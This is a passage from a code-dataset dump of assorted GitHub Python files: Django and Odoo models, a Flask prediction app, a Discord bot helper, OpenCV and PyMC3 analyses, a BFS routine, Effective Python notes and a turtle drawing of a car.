v)\r\n","repo_name":"ShyamalShah3/KMEANSRBF","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5678,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"11469023020","text":"import sys\n\nsys.path.append(\"../../src\")\nfrom idp import IdP\n\n\nclass IdPWrapper:\n \"\"\"\n Just a wrapper on IdP's since we only care about creating them not doing the whole\n secret sharing protocol. So we dont modify the IdP and just create this class to pass the keys\n The parameters are just used for the key sharing protocol so any arbitrary number is fine.\n\n \"\"\"\n\n idp = None\n\n def __init__(self):\n self.idp = IdP(1, 1, 2)\n\n def getIdP(self, sk, vk):\n self.idp.vk = vk\n self.idp.sk = sk\n return self.idp\n\n\n\n","repo_name":"moonkace24/Asynchronous_and_Privacy_Preserving_SSO","sub_path":"benchmarking/AWS/idp_wrapper.py","file_name":"idp_wrapper.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12404537864","text":"from django.db import models\n\nfrom core.models import TimeStampModel\n\n\nclass Result(TimeStampModel):\n restaurant = models.ForeignKey(\n 'restaurants.Restaurant', on_delete=models.PROTECT, verbose_name='매출 발생 매장 FK'\n )\n subsidary = models.ForeignKey(\n 'restaurants.Subsidary', on_delete=models.PROTECT, verbose_name='프랜차이즈 업종')\n menus = models.ManyToManyField(\n 'restaurants.Menu', through='ResultMenu', related_name='results',\n verbose_name='주문 메뉴'\n )\n payment = models.CharField(max_length=10, verbose_name='결제 수단')\n numbers_of_party = models.PositiveIntegerField(null=True, blank=True, verbose_name='인원 수')\n total_price = models.DecimalField(\n max_digits=12, decimal_places=2, default=0,\n null=True, blank=True, verbose_name='주문 총액'\n )\n\n class Meta:\n db_table = 'results'\n\n\nclass ResultMenu(TimeStampModel):\n result = models.ForeignKey('Result', on_delete=models.PROTECT, verbose_name='결제 번호')\n menu = models.ForeignKey('restaurants.Menu', on_delete=models.PROTECT, verbose_name='주문 메뉴')\n quantity = models.PositiveIntegerField(verbose_name='주문 수량')\n discount_rate = models.DecimalField(\n max_digits=4, decimal_places=3, default=1,\n null=True, blank=True, verbose_name='할인율'\n )\n\n class Meta:\n db_table = 'result_menus'\n","repo_name":"wanted-pre-onboarding-2nd-BE-Team-D/002_Bear_Robotics_Korea","sub_path":"results/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"34588228112","text":"################################################\n# File name: Tarea semana #3, Programa #4 #\n# Author: Jorge Castro #\n# Submission: October 6, 2018 #\n# Instructor: Pedro Guzman #\n################################################\n\naVocales = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\nstrNombres = [\"\", \"\", \"\"]\n\nstrNombres[0] = input(\"Por favor digite un primer nombre: \")\nstrNombres[1] = input(\"Por favor digite un segundo nombre: \")\nstrNombres[2] = input(\"Por favor digite un tercer nombre: \")\nprint(\"\\n\\rLa cantidad de vocales por nombre es la siguiente:\\n\\r\")\n\nfor iName in range(0, 3):\n iTotVocales = 0\n for j in range(0, len(strNombres[iName])):\n for i in aVocales:\n\n #print(strNombres[0][j])\n if strNombres[iName][j] == i:\n iTotVocales += 1\n print(\"El nombre \\\"{}\\\" tiene un total de {} vocales.\".format(strNombres[iName], iTotVocales))\n","repo_name":"castrotec/greencoretraining","sub_path":"semana3/tarea/programa4.py","file_name":"programa4.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9746645611","text":"from django import forms\nfrom .models import ReuniaoCastelo\nfrom membros.models import MembroCastelo\n\nclass ReuniaoCasteloForm(forms.ModelForm):\n class Meta:\n model = ReuniaoCastelo\n fields = '__all__'\n def __init__(self, *args, **kwargs):\n super(ReuniaoCasteloForm, self).__init__(*args, **kwargs)\n self.fields['data_criacao'].widget = forms.DateInput(attrs={'type': 'date'})\n self.fields['membros_presentes'] = forms.MultipleChoiceField(\n choices=MembroCastelo.objects.all().values_list('id', 'nome'),\n widget=forms.CheckboxSelectMultiple)","repo_name":"lauf8/DMAdmin","sub_path":"reuniao/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39047704642","text":"import logging\nimport os\nimport config\nfrom api import api\n\n\nfrom flask import Flask, request, jsonify, render_template\nimport pickle\nimport numpy as np\n\nfrom models import db\n\nlogging.basicConfig(level=logging.DEBUG,\n format='[%(asctime)s]: {} %(levelname)s %(message)s'.format(os.getpid()),\n datefmt='%Y-%m-%d %H:%M:%S',\n handlers=[logging.StreamHandler()])\n\nlogger = logging.getLogger()\n\nmodel = pickle.load(open('model.pkl', 'rb'))\n# model = pickle.load(open('regressor.pkl','rb'))\n\ndef create_app():\n logger.info(f'Starting app in {config.APP_ENV} environment')\n app = Flask(__name__)\n app.config.from_object('config')\n api.init_app(app)\n\n # initialize SQLAlchemy\n db.init_app(app)\n\n\n # to tell flask what url shoud trigger the function home()\n @app.route('/')\n def home():\n return render_template('index.html')\n\n @app.route('/predict', methods=['POST'])\n def predict():\n '''\n For rendering results on HTML GUI\n '''\n int_features = [int(x) for x in request.form.values()]\n\n final_features = [np.array(int_features)]\n prediction = model.predict(final_features)\n\n output = round(prediction[0], 2)\n\n if output > 1000:\n fail = \"True\"\n else:\n fail = \"False\"\n\n return render_template('index.html', prediction_text='Will the equipment fail: {}'.format(fail))\n\n return app\n\n\nif __name__ == \"__main__\":\n app = create_app()\n app.run(host='0.0.0.0', debug=True)","repo_name":"hamshom/Predictive_Maintenance_NSIN_MarineCorps","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39804065331","text":"# coding=utf-8\nimport discord\nfrom discord.ext.commands import Bot\nimport pyrebase\nimport os\nimport time\nimport datetime\nimport pickle\n\nfrom secrets.secrets import *\nfrom commands.user import *\n\n# Discord INIT\nbotName = 'CyberGuard'\ncommand_prefix = '!'\nglobal client\nclient = Bot(command_prefix=command_prefix, pm_help=True, case_insensitive=True)\nclient.login(BOT_TOKEN)\n\n# Settings for pyrebase database\nfirebase = pyrebase.initialize_app(CONFIG)\nauth = firebase.auth()\nuser = auth.sign_in_with_email_and_password(FBEMAIL, FBPASSWORD)\ndb = firebase.database()\n\n# Temporaly using allowedURL storing into file (will be moved to database)\nif not os.path.isfile('allowurl.pk1'):\n allowURL = list()\nelse:\n with open('allowurl.pk1', 'rb') as file:\n allowURL = pickle.load(file)\n\n\n\n# function for emoji counter (counts emoji in message for filtering)\ndef getEmojiByName(n,e):\n emoji = list(e)\n for t in emoji:\n if n in t.name:\n return t\n\n# get actual time\ndef getTime():\n ts = time.time()\n t = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')\n return t\n\ndef is_in_db(user_id):\n error = False\n try:\n name = db.child(\"users\").child(user_id).child('name').get().val()\n except:\n error = True\n print(\"Unexpected error:\", sys.exc_info()[0])\n\n if not error:\n if name:\n return True\n else:\n return False\n\n\ndef setLevel(user_id, newPoints):\n newLevel = 1\n for i in range(1,len(LEVEL_SYSTEM)+1):\n\t if newPoints >= LEVEL_SYSTEM.get(i).get('cap'):\n\t newLevel = LEVEL_SYSTEM.get(i).get('level')\n\t newMultiplier = LEVEL_SYSTEM.get(i).get('multiplier')\n\n db.child(\"users\").child(user_id).update({'level': newLevel})\n db.child(\"users\").child(user_id).update({'multiplier': newMultiplier})\n","repo_name":"CyberTriber/python","sub_path":"CyberGuard_v2/function/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"29533728877","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nedge = cv2.imread(\"../resources/harris_1.png\", cv2.IMREAD_GRAYSCALE)\nedge_x = cv2.Sobel(edge, cv2.CV_64F, 1, 0, ksize=5)\nedge_y = cv2.Sobel(edge, cv2.CV_64F, 0, 1, ksize=5)\n\nflat = cv2.imread(\"../resources/harris_2.png\", cv2.IMREAD_GRAYSCALE)\nflat_x = cv2.Sobel(flat, cv2.CV_64F, 1, 0, ksize=5)\nflat_y = cv2.Sobel(flat, cv2.CV_64F, 0, 1, ksize=5)\n\ncorner = cv2.imread(\"../resources/harris_3.png\", cv2.IMREAD_GRAYSCALE)\ncorner_x = cv2.Sobel(corner, cv2.CV_64F, 1, 0, ksize=5)\ncorner_y = cv2.Sobel(corner, cv2.CV_64F, 0, 1, ksize=5)\n\nplt.subplot(3, 3, 1)\nplt.imshow(edge, cmap='gray')\nplt.subplot(3, 3, 2)\nplt.imshow(edge_x, cmap='gray')\nplt.subplot(3, 3, 3)\nplt.imshow(edge_y, cmap='gray')\n\nplt.subplot(3, 3, 4)\nplt.imshow(flat, cmap='gray')\nplt.subplot(3, 3, 5)\nplt.imshow(flat_x, cmap='gray')\nplt.subplot(3, 3, 6)\nplt.imshow(flat_y, cmap='gray')\n\nplt.subplot(3, 3, 7)\nplt.imshow(corner, cmap='gray')\nplt.subplot(3, 3, 8)\nplt.imshow(corner_x, cmap='gray')\nplt.subplot(3, 3, 9)\nplt.imshow(corner_y, cmap='gray')\n\nplt.show()\n\nfig = plt.figure()\nfig.set_size_inches(18, 5)\nfig.add_subplot(1, 3, 1)\nplt.scatter(edge_x.flatten(), edge_y.flatten())\nfig.add_subplot(1, 3, 2)\nplt.scatter(flat_x.flatten(), flat_y.flatten())\nfig.add_subplot(1, 3, 3)\nplt.scatter(corner_x.flatten(), corner_y.flatten())\nplt.show()\n\nimage = cv2.imread(\"../resources/corner_test.jpg\")\ncopy = image.copy()\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\nfig = plt.figure()\nfig.set_size_inches(10, 5)\nfig.add_subplot(1, 2, 1)\nplt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n\ncorner_regions = cv2.cornerHarris(gray, 3, 3, 0.04)\nthresholded_region = corner_regions > 0.01 * corner_regions.max()\n# print \"Corners: \", image[thresholded_region]\nimage[thresholded_region] = [0, 255, 0]\n\nfig.add_subplot(1, 2, 2)\nplt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\nplt.show()\n\n# Refined Corners\n# Use of cv2.cornerSubPixel\n\ncorner_regions = cv2.dilate(corner_regions, None)\nrefined_region = cv2.threshold(corner_regions, 0.001 * corner_regions.max(), 255, cv2.THRESH_BINARY)[1]\nrefined_region = np.uint8(refined_region)\n\nret, labels, stats, centroids = cv2.connectedComponentsWithStats(refined_region)\n\ncriteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 1000000, 0.0001)\ncorners = cv2.cornerSubPix(gray, np.float32(centroids), (3, 3), (-1, -1), criteria)\n\nres = np.int0(np.hstack((centroids, corners)))\ncopy[res[:, 1], res[:, 0]] = [255, 0, 0]\ncopy[res[:, 3], res[:, 2]] = [0, 255, 0]\n\nplt.imshow(cv2.cvtColor(copy, cv2.COLOR_BGR2RGB))\nplt.show()\n\nimage = cv2.imread(\"../resources/corner_test.jpg\")\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# cv2.goodFeaturesToTrack(image, number of corners, quality, min euclidean distance)\ntomasi_corners = np.int0(cv2.goodFeaturesToTrack(gray, 20, 0.05, 8))\nfor corner in tomasi_corners:\n x, y = corner.ravel()\n cv2.circle(image, (x, y), 4, (0, 255, 0), 2)\n\nfig = plt.figure()\nfig.set_size_inches(5, 10)\nfig.add_subplot(1, 1, 1)\nplt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\nplt.show()\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/5_FeatureDetection.py","file_name":"5_FeatureDetection.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29541876887","text":"get_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport pymc3 as pm\nimport theano.tensor as T\nimport matplotlib\nget_ipython().run_line_magic('config', \"InlineBackend.figure_format = 'retina'\")\nsns.set_context(\"notebook\", font_scale= 1.7) \n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nsns.set(style=\"ticks\")\nfrom scipy import stats\n\n# Data loading\ndf = pd.read_csv('df.csv')\ndf.head()\n\ndashList = [(5,2),(2,5),(4,10),(3,3,2,2),(5,2,20,2)] \n\nmatplotlib.rc('xtick', labelsize=12) \nmatplotlib.rc('ytick', labelsize=12)\nf, ax = plt.subplots(figsize=(7, 3))\n\nax.scatter(df.occupancy, df.Speed,c='#8B0000', alpha=0.12)\nplt.xlim(0, 55)\nplt.ylim(0, 85)\n\nplt.ylabel(\"Speed $(mph)$\", fontsize=13)\nplt.xlabel(\"Occupancy (%)\", fontsize=13)\nsns.despine(offset=10)\n\nbins=50\n\ng = sns.FacetGrid(data = df, col='Ilane_n', col_wrap=2, aspect=1.5, sharex=True, sharey=True)\ng.map(plt.hist, 'Speed', color='grey', normed=True, bins=bins, alpha = 0.25)\nsns.despine(offset=10)\n#plt.xlim(0,50)\n\nplt.tight_layout()\n\ng.axes[0].set_ylabel('Frequency')\ng.axes[2].set_ylabel('Frequency')\ng.axes[2].set_xlabel('Speed $(mph)$')\ng.axes[3].set_xlabel('Speed $(mph)$')\n#g.set_titles(\"lane {col_name}\")\nlabels = ['Median', 'Inner-left', 'Inner-right', 'Shoulder']\nfor ax,j in zip(g.axes.flatten(),labels):\n ax.set_title(j)\n\ng = sns.FacetGrid(data = df, col='Ilane_n', col_wrap=2, aspect=1.5, sharex=True, sharey=True)\ng.map(plt.scatter,'occupancy', 'Speed',color='grey', alpha = 0.05)\nsns.despine(offset=10)\nplt.xlim(0,50)\nplt.tight_layout()\ng.axes[3].set_xlabel('Occupancy (%)')\ng.axes[2].set_xlabel('Occupancy (%)')\ng.axes[0].set_ylabel('Speed $(mph)$')\ng.axes[2].set_ylabel('Speed $(mph)$')\nlabels = ['Median', 'Inner-left', 'Inner-right', 'Shoulder']\nfor ax,j in zip(g.axes.flatten(),labels):\n ax.set_title(j)\n\ndf_11 = df\ndf_11[\"lane_n\"] = df_11[\"Ilane_n\"].astype('category')\nfrom patsy import dmatrices\n_, Z = dmatrices('Speed ~ -1+lane_n', data=df_11, return_type='matrix')\nZ = np.asarray(Z) # mixed effect\nnrandm = np.shape(Z)\n\nn_lane = len(df.Ilane_n.unique())\nLane_idx = df.Ilane_n.values\n\nn_lane\n\nX = df.occupancy\nY = df.Speed\n\n# Number of iteration\nniter = 1000\nk = 2 # Number of components \nn = X.shape[0] # Number of Sample size\nwith pm.Model() as Mixture_regression:\n \n # Proportion in each mixture\n π = pm.Dirichlet('π', np.array([1]*k), testval=np.ones(k)/k)\n \n # Priors for unknown model parameters\n α = pm.Normal('α', mu=Y.mean(), sd=100,shape=k) #Intercept\n β = pm.Normal('β', mu=0, sd=100, shape=k) \n σ = pm.HalfCauchy('σ', 5,shape=k) #Noise\n \n # Classifying each observation\n category = pm.Categorical('category', p=π, shape=n)\n \n σr = pm.HalfCauchy('σr', 5)\n μr = pm.Normal('μr', mu=0, sd = σr, shape=n_lane)\n \n # Expected value \n #Choose beta and alpha based on category\n μ = α[category] + β[category]*X + T.dot(Z,μr)\n\n # Likelihood \n Y_obs = pm.Normal('Y_obs', mu=μ, sd=σ[category], observed=Y)\n \n step1 = pm.NUTS([π, α, β, σ, σr, μr]) #\n step2 = pm.ElemwiseCategorical([category], values=range(k))\n trace = pm.sample(niter, [step1, step2], njobs=4, progressbar=True)\n\nt1 = trace\npm.df_summary(t1,['π', 'α', 'β', 'σ', 'σr', 'μr']).round(4)\n\nsns.set_context(\"notebook\", font_scale= 1.0)\npm.traceplot(t1,['π', 'α', 'β', 'σ', 'σr', 'μr']);\n\n# Creater posterior predictive samples\nppc = pm.sample_ppc(t1, model=Mixture_regression, samples=500)\n\nsns.set_context(\"notebook\", font_scale= 1.7) \n\nfig, axes = plt.subplots(1,1, figsize=(7,3))\nplt.hist(Y,100, normed=True,alpha=0.5)\nsns.kdeplot(Y, alpha=0.5, lw=1, c='g',linestyle='dashed')\nsns.kdeplot(ppc['Y_obs'][1], c='k',label = 'Posterior predicted density')\n#sns.distplot(Y, kde=False)\nfor i in range(100):\n sns.kdeplot(ppc['Y_obs'][i], alpha=0.1, c='k')\nplt.xlabel('Speed (mph)'), plt.ylabel('Data density')\nplt.xlim(10,80)\nplt.legend(['Kernel density',\n 'Posterior predicted density'\n ,'Observed traffic speed'],\n loc='best')\nsns.despine(offset=10)\n\n\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/GMM-Random-Effect--.py","file_name":"GMM-Random-Effect--.py","file_ext":"py","file_size_in_byte":4249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20401291761","text":"def BFS(node,adj_list):\n level={node:0} ## source node\n parent={node:None} ## source node has no parent (this structure is optional)\n i=1\n frontier=[node] ## first start from the source node\n while frontier: ## while the frontier collection is not empty\n next=[]\n for u in frontier: ## for node in frontier\n for elem in adj_list[u]: # for node in adjacency list of each frontier\n if elem not in level:## if we have not visited the node before\n level[elem]=i ## set level to current i\n parent[elem]=u## parent of element is the node whose adjacency list the element belongs to\n next.append(elem) ## append the elements of the adjacency list to traverse next along the breadth\n frontier=next## the next level becomes the current level\n i+=1## increase level count every iteration\n return level,parent","repo_name":"desaizeeshan22/Leetcode_problems","sub_path":"BFS_code_generic.py","file_name":"BFS_code_generic.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"10899251366","text":"\"\"\"\n제 2장. 리스트 & 딕셔너리\n\"\"\"\nfrom typing import Any\n\n\nclass EffectivePythonChapter2:\n \"\"\"\n 시퀀스를 슬라이싱하는 방법을 익혀라.\n 슬라이싱을 사용하면 최소한의 노력으로 시퀀스에 들어 있는 아이템의 부분집합에 쉽게 접근할 수 있다.\n 어떤 파이썬 클래스에도 슬라이싱을 추가할 수 있다.\n __getitem__\n __setitem__\n 매직 메서드를 구현하면 된다.\n 커스텀 컨테이너 타입은 collections.abc 를 상속하라.\n \"\"\"\n num_list = [i for i in range(10)]\n car_ages_1 = [0, 5, 6, 9, 7, 1, 20, 14, 16, 3, 2]\n car_ages_2 = [0, 5, 6]\n car_ages_3 = [5, 6]\n\n @classmethod\n def _print_id(cls, obj: Any):\n print(id(obj))\n\n def be_careful_to_negative_int_using_slice(self):\n \"\"\"\n 슬라이싱 할 때 음수 인덱스를 사용할 때 0 이 들어가서 [-0:] 식이 들어가게 된다면,\n [:] 와 같기 때문에, 원래의 리스트를 복사하여 새롭게 생성한 리스트를 얻게 된다.\n\n 스트라이드와 슬라이스를 한 식에 함께 사용하지 말아라.\n \"\"\"\n var_list = self.num_list\n self._print_id(var_list)\n\n print(var_list[3:])\n self._print_id(var_list[3:])\n\n print(var_list[:])\n self._print_id(var_list[:])\n\n # 리스트를 슬라이싱한 결과는 새로운 리스트이며,\n # 결과 값으로 얻은 리스트를 변경하면, 원래의 리스트는 바뀌지 않는다.\n # 슬라이싱에서 시작과 끝 인덱스를 모두 생략하면 원래 리스트를 복사한 새 리스트를 얻는다.\n a = var_list[:]\n b = var_list[:]\n print(id(a) == id(b))\n assert id(a) != id(b)\n\n b.append(100)\n print(a)\n print(b)\n\n c = b[:]\n assert b == c and b is not c\n\n def betterway_13_use_unpacking_than_slicing(self) -> None:\n \"\"\"\n 슬라이싱보다는 나머지를 모두 잡아내는 언패킹을 사용하라.\n 꼭 언패킹해야만 하는 값 외에 여분의 슬라이스가 하나 필요한 경우,\n 나머지를 모두 잡아내는 (에러없이) 이 기능의 이점을 살릴 수 있다.\n \"\"\"\n # 이 코드는 더 짧고, 읽기 쉽고, 인덱스 경계 값이 어긋나서 오류가 발생할 여지가 없다.\n # !!warning: do not assign a lambda expression, use a def\n lambda_sorted = lambda x: sorted(x, reverse=True)\n\n car_age_1, car_age_2, car_age_3 = (\n lambda_sorted(self.car_ages_1),\n lambda_sorted(self.car_ages_2),\n lambda_sorted(self.car_ages_3),\n )\n\n oldest, second_oldest, *others = car_age_1\n print(oldest, second_oldest, others) # 0 5 [6, 9, 7, 1, 20, 14, 16, 3, 2]\n\n oldest, second_oldest, *others = car_age_2\n print(oldest, second_oldest, others) # 0 5 [6]\n\n oldest, second_oldest, *others = car_age_3\n print(oldest, second_oldest, others) # 5 6 []\n\n # * 를 다른 위치에 사용할 수도 있다.\n oldest, *others, youngest = car_age_1\n print(oldest, others, youngest) # 20 [16, 14, 9, 7, 6, 5, 3, 2, 1] 0\n\n oldest, *others, youngest = car_age_2 # 6 [5] 0\n print(oldest, others, youngest)\n\n oldest, *others, youngest = car_age_3\n print(oldest, others, youngest) # 6 [] 5\n\n *others, second_oldest, youngest = car_age_1\n print(oldest, second_oldest, youngest)\n\n # 하지만 * 식이 포함된 언패킹 대입을 처리하려면 필수인 부분이 적어도 하나는 있어야 한다.\n # 그렇지 않으면 SyntaxError 가 발생한다. 별표 식만 사용하여 언패킹할 수 없다.\n # *others = car_age_1 # Starred assignment target must be in a list or tuple\n\n # 또한 한 수준의 언패킹 패턴에 별표 식을 두 개 이상 쓸 수 없다.\n # first, *middle, *second_middle, last = car_age_1 # SyntaxError: multiple starred expressions in assignment\n # print(first, middle, second_middle, last)\n\n it = iter(range(1, 3))\n print(it) # \n\n first, second = it\n print(first, second)\n\n def generate_csv():\n yield '날짜', '제조사', '모델', '연식', '가격'\n # ...\n all_csv_rows = list(generate_csv())\n print(all_csv_rows)\n\n header = all_csv_rows[0]\n rows = all_csv_rows[1:]\n print(header)\n print(rows)\n\n it = generate_csv()\n header, *rows = it\n print('CSV 헤더', header)\n for r in rows:\n print('CSV rows', r)\n\n # 하지만 * 식은 항상 리스트를 만들어내기 때문에, 이터레이터를 별표 식으로 언패킹하면\n # 컴퓨터 메모리를 모두 다 사용해서 프로그램이 멈출 수 있다.\n # 따라서 결과 데이터가 모두 메모리에 들어갈 수 있다고 확신할 때만,\n # 나머지를 모두 잡아내는 언패킹을 사용해야 한다.\n\n\nif __name__ == \"__main__\":\n effective_python_chapter2 = EffectivePythonChapter2()\n # effective_python_chapter2.be_careful_to_negative_int_using_slice()\n effective_python_chapter2.betterway_13_use_unpacking_than_slicing()\n\n\n","repo_name":"pm1100tm/python-ex","sub_path":"effective_python/02_list_and_dictionary.py","file_name":"02_list_and_dictionary.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37533667668","text":"from openerp.osv import fields, osv, orm\nimport openerp.addons.decimal_precision as dp\nfrom datetime import datetime\nfrom openerp.tools.translate import _\nfrom openerp import tools\nimport pdb\n\nclass dym_frt_price_adjust(osv.osv_memory):\n _name = \"dym.frt.price.adjust\"\n _description = \"Adjust FRT Price\"\n _columns = {\n 'branch_id' : fields.many2one('dym.branch', 'Branch', required=True),\n 'new_price': fields.float('New FRT Price', required=True),\n 'frt_id' : fields.many2one('dym.frt', 'Flat Rate Time', required=True),\n } \n _defaults = {\n 'frt_id': lambda self, cr, uid, ctx: ctx and ctx.get('active_id', False) or False\n }\n\n def adjust_price(self, cr, uid, ids, context=None):\n if context is None:\n context = {}\n\n for data in self.browse(cr, uid, ids, context=context):\n if data.new_price <= 0:\n raise osv.except_osv(_('Warning!'), _('Price harus lebih dari 0.'))\n self.pool.get('dym.frt.history').create(cr, uid, {\n 'frt_id': data.frt_id.id,\n 'time': 0,\n 'branch_id': data.branch_id.id,\n 'rate': 0,\n 'date': datetime.today(),\n 'price': data.new_price,\n })\n return {}\n\n def onchange_branch_id(self, cr, uid, ids, branch_id, frt_id, context=None):\n obj_frt_history_adjust_ids = self.pool.get('dym.frt.history').search(cr,uid,[('frt_id','=',frt_id),('branch_id','=',branch_id),('price','>',0)], order=\"date desc, id desc\", limit=1)\n obj_frt_history_adjust = self.pool.get('dym.frt.history').browse(cr, uid, obj_frt_history_adjust_ids)\n \n obj_frt_lastest_change_ids = self.pool.get('dym.frt.history').search(cr,uid,['|','&',('frt_id','=',frt_id),('time','>',0),'&',('branch_id','=',branch_id),('rate','>',0)], order=\"date desc, id desc\", limit=1) \n obj_frt_lastest_change = self.pool.get('dym.frt.history').browse(cr, uid, obj_frt_lastest_change_ids)\n\n if obj_frt_history_adjust and obj_frt_lastest_change and obj_frt_history_adjust.date >= obj_frt_lastest_change.date and obj_frt_history_adjust.id >= obj_frt_lastest_change.id:\n return { 'value': { 'new_price': obj_frt_history_adjust.price } }\n \n obj_frt = self.pool.get('dym.frt').browse(cr, uid, frt_id)\n rate = self.pool.get('dym.branch').browse(cr,uid,branch_id).rate\n harga_frt = obj_frt.time * rate\n return { 'value': { 'new_price': harga_frt } }","repo_name":"Rizalimami/dym","sub_path":"dym_work_order/wizard/dym_frt_wiz.py","file_name":"dym_frt_wiz.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5452300119","text":"#################################################################################\n# Author: Sahet Dovranov\n# Username: dovranovs\n#\n# Google doc link: https://docs.google.com/document/d/1UTlp6YcwC-boyDoaReInx6aPR799BLI_faPDoaez2n0/edit?usp=sharing\n#############################################################################################\n#\n# Assignment: A03: A Pair of Fully Functional Gitty Psychedelic Robotic Turtles\n# Purpose: Draw some fun things using turtle and also learn about git!\n#################################################################################\n\nimport turtle\n\n\ndef draw_outside_circle(t, x, y, color):\n \"\"\"\n Draws a circle with given color on the (x,y) coordinate.\n (Intended to make it look like outer circle of a tyre).\n\n :param t: Turtle to use a circle\n :param x: value of coordinates of x-axis\n :param y: value of coordinates of y-axis\n :param color: color of the circle\n :return:\n \"\"\"\n t.color(color)\n t.fillcolor(color)\n t.up()\n t.setposition(x,y)\n t.down()\n t.begin_fill()\n t.circle(60)\n t.end_fill()\n\n\ndef draw_inner_circle(t, x, y, color):\n \"\"\"\n Draws a square with given color on the (x,y) coordinate.\n (Intended to make it look like inner circle of a tyre )\n\n :param t: Turtle to use drawing a square\n :param x: value of coordinates of x-axis\n :param y: value of coordinates of y-axis\n :param color: color of the circle.\n :return:\n \"\"\"\n t.color(color)\n t.fillcolor(color)\n t.up()\n t.setposition(x,y)\n t.down()\n t.begin_fill()\n t.circle(30)\n t.end_fill()\n\n\ndef draw_rectangle(t, x, y, color):\n \"\"\"\n Draws a rectangle with given color on the (x,y) coordinates.\n (Intended to make it look like car's part which looks like a rectangle)\n\n :param t: Turtle to use drawing a rectangle\n :param x: value of coordinates of x-axis\n :param y: value of coordinates of y-axis\n :param color: color of the rectangle.\n :return:\n \"\"\"\n t.color(color)\n t.fillcolor(color)\n t.up()\n t.setposition(x,y)\n t.down()\n t.begin_fill()\n for i in range(2):\n t.forward(600)\n t.right(90)\n t.forward(90)\n t.right(90)\n t.end_fill()\n\n\ndef draw_trapezoid_without_below_side(t, x, y, color):\n \"\"\"\n Draws a trapezoid without below side with given color on the (x,y) coordinates.\n (Intended to make it look like car's side windows)\n\n :param t: Turtle to use drawing a trapezoid\n :param x: value of coordinates of x-axis\n :param y: value of coordinates of y-axis\n :param color: color of the trapezoid\n :return:\n \"\"\"\n t.color(color)\n t.fillcolor(color)\n t.up()\n t.setposition(x,y)\n t.down()\n t.begin_fill()\n t.left(45)\n t.forward(100)\n t.right(45)\n t.forward(250)\n t.right(70)\n t.forward(75)\n t.end_fill()\n t.hideturtle()\n\n\ndef draw_line(t, x, y, color):\n \"\"\"\n Draws a line.\n (Intended to make it look like a line which separates car's side windows)\n\n :param t: Turtle to use drawing a line\n :param x: value of coordinates of x-axis\n :param y: value of coordinates of y-axis\n :param color: color of the line\n :return:\n \"\"\"\n t.color(color)\n t.up()\n t.setposition(x,y)\n t.down()\n t.setheading(0)\n t.right(90)\n t.forward(162)\n\n\ndef write_title(t, x, y, m, color):\n \"\"\"\n Draws a title using t to present message m\n :param t: Turtle to use drawing a message.\n :param x: value of coordinates of x-axis.\n :param y: value of coordinates of y- axis.\n :param m: message for to present as a title\n :param color: color of message\n :return:\n \"\"\"\n t.color(color)\n t.up()\n t.setposition(x,y)\n t.down()\n t.write(m, move=False, align='center', font=(\"Arial\", 30, (\"italic\", \"normal\")))\n\n\ndef main():\n \"\"\"\n Creates a turtle with name alex, gives its attributes and calls all methods properly to draw a car and draws a title\n :return:\n \"\"\"\n\n wn = turtle.Screen()\n\n wn.colormode(255)\n wn.bgcolor(\"#191970\")\n alex = turtle.Turtle()\n alex.shape(\"turtle\")\n\n color_white = (255, 255, 255)\n color_black = (0, 0, 0)\n color_yellow = (255, 255, 0)\n color_light_black = (160, 160, 160)\n color_red = \"#FF0000\"\n color_green = \"#00CC00\"\n\n write_title(alex, 0, 200, \"This is my present for your birthday\", color_red)\n\n draw_outside_circle(alex, -120, -200, color_black)\n draw_inner_circle(alex, -120, -170, color_white)\n\n draw_outside_circle(alex, 160, -200, color_black)\n draw_inner_circle(alex, 160, -170, color_white)\n\n draw_rectangle(alex, -300, -50, color_yellow)\n\n draw_trapezoid_without_below_side(alex, -150, -50, color_light_black)\n\n draw_line(alex, 30, 20, 